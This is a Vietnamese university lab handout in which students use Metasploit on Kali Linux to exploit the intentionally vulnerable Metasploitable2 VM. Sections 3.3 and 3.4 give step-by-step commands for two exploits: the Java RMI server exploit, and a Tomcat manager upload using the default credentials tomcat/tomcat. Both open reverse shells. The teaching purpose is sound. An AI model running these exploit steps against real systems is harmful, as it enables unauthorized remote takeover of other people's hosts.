An toàn HĐH (INT1484) - Bài thực hành số 2

1. Mục đích:

- Tìm hiểu sâu về các lỗ hổng một số dịch vụ, phần mềm trên HĐH
- Luyện thành thạo kỹ năng thực hành tấn công kiểm soát hệ thống chạy Ubuntu từ xa sử dụng công cụ tấn công Metasploit trên Kali Linux.

2. Các phần mềm, công cụ cần có

- Kali Linux
- Metasploit
- Metasploitable2: máy ảo VMWare chứa lỗi, có thể tải tại:
  - http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

2. Tìm hiểu về các lỗ hổng bảo mật trên một số DV của Ubuntu

Metasploitable2 là một máy ảo VMWare được tích hợp nhiều dịch vụ chứa các lỗi bảo mật đã biết cho phép khai thác kiểm soát hệ thống từ xa phục vụ học tập. Danh sách các lỗ hổng và hướng dẫn khai thác có thể tìm tại: https://www.hackingarticles.in/comprehensive-guide-on-metasploitable-2/

Bài thực hành này tìm hiểu về các lỗ hổng bảo mật nguy hiểm trên một số dịch vụ của hệ điều hành và cách khai thác:

- Lỗ hổng sử dụng cấu hình ngầm định trong trong dịch vụ Java RMI chạy trên cổng 8080, cho phép khai thác và kiểm soát hệ thống. Đọc thêm tại https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/java_rmi_server
- Lỗ trong trong máy chủ web Apache Tomcat chạy trên cổng 8180 cho phép sử dụng tài khoản ngầm định và sau đó nạp và thực hiện 1 tải ở xa, cho phép khai thác và kiểm soát hệ thống. Đọc thêm tại https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/http/tomcat_mgr_upload

3. Nội dung thực hành

3.1 Cài đặt các công cụ, nền tảng

- Cài đặt Kali Linux (nếu chưa cài đặt) trên 1 máy ảo (hoặc máy thực)
  - Bản ISO của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-bare-metal
  - Bản cài sẵn trên máy ảo của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-virtual-machines
  - Đổi tên máy Kali Linux thành dạng Mã SV-Tên-Kali. Ví dụ: Bạn Trần Đức Cường, mã sv B19DCAT018 → tên máy là B19AT018-Cuong-Kali. Nếu chưa biết cách đổi tên máy Linux, tham khảo cách đổi tên máy Metasploitable2 ở dưới.
- Kiểm tra và chạy thử bộ công cụ tấn công MetaSploit
- Tải và cài đặt Metasploitable2 làm máy victim:
  - Tải Metasploitable2
  - Giải nén

- Sử dụng VMWare Player hoặc VMWare để mở và khởi động máy ảo. Tài khoản đăng nhập vào hệ thống là msfadmin / msfadmin.

- Đặt lại tên máy chứa lỗi là Mã SV+Họ và tên. Ví dụ: Bạn Trần Đức Cường, mã sv B18DCAT018 → tên máy là B18AT018-Cuong-Meta. Khởi động lại máy victim để máy nhận tên mới.
  - Hướng dẫn đổi tên máy:
  - Chạy lệnh: sudo nano /etc/hostname
  - Nhập tên máy mới theo quy tắc trên, nhấn Ctrl-x và bấm y để xác nhận
  - Khởi động lại máy: sudo reboot

3.2 Tìm địa chỉ máy victim Metasploitable2 và Kali và đảm bảo có kết nối

- Tìm địa chỉ IP của máy victim, kali:
  - Chạy lệnh trong cửa sổ terminal: ifconfig eth0
  - Tìm IP v4 ở interface eth0 ở mục 'inet addr'
- Kiểm tra kết nối mạng giữa các máy:
  - Từ máy victim, chạy lệnh ping <ip_máy kali>
  - Từ máy Kali, chạy lệnh ping <ip_máy victim>

3.3 Khai thác lỗ hổng sử dụng cấu hình ngầm định trong trong dịch vụ Java RMI:

- Khởi động Metasploit
- Khai báo sử dụng mô đun tấn công:
  msf> use exploit/multi/misc/java_rmi_server
- Chọn payload cho thực thi (mở shell):
  msf > set payload java/shell/reverse_tcp
- Đặt địa chỉ IP máy victim:
  msf > set RHOST <ip_victim>
- Thực thi tấn công:
  msf > exploit

  → Nếu thực hiện thành công, hệ thống sẽ báo "Command shell session 1 opened", sau lại báo lỗi và trở về dấu nhắc của bước trước.

- Kết nối trở lại phiên (session) đã tạo thành công:

  > sessions 1 (thường là session 1 - số phải đúng số session đã tạo ở trên)

- Chạy các lệnh trong phiên khai thác đang mở:

  whoami
  uname -a

  hostname

- Gõ lệnh exit để kết thúc

3.4 Khai thác lỗi trên Apache Tomcat:

- Khởi động Metasploit
- Khai báo sử dụng mô đun tấn công:
  msf > use exploit/multi/http/tomcat_mgr_upload
- Chọn payload cho thực thi (mở shell):
  msf > set payload java/shell/reverse_tcp

- Đặt địa chỉ IP máy victim:
  msf > set RHOST <ip_victim>
- Đặt 8180 là cổng truy cập máy victim:
  msf > set RPORT 8180
- Đặt người dùng và mật khẩu cho máy chủ HTTP

  msf > set HttpUsername tomcat

  msf > set HttpPassword tomcat

- Thực thi tấn công:
  msf > exploit

  ➔ mở **shell** với người dùng **tomcat55** cho phép chạy lệnh từ máy Kali

  ➔ có thể thực hiện bất cứ lệnh shell nào trên máy victim.
- Chạy các lệnh để đọc tên người dùng và máy đang truy cập:
  whoami
  uname -a

  hostname
- Gõ lệnh exit để kết thúc

4. Yêu cầu cần đạt

1. Thành thạo cài đặt và chạy máy ảo Ubuntu
2. Thành thạo sử dụng Metasploit để tấn công khai thác lỗ hổng sử dụng thư viện có sẵn
3. Chụp ảnh màn hình kết quả lưu vào file (hoặc giữ nguyên cửa sổ màn hình thực hiện):
   a. Màn hình khai thác lỗ hổng sử dụng cấu hình ngầm định trong trong dịch vụ Java RMI (tất cả các bước và kết quả cuối cùng).
   b. Màn hình khai thác lỗ hổng trong Apache Tomcat (tất cả các bước và kết quả cuối cùng).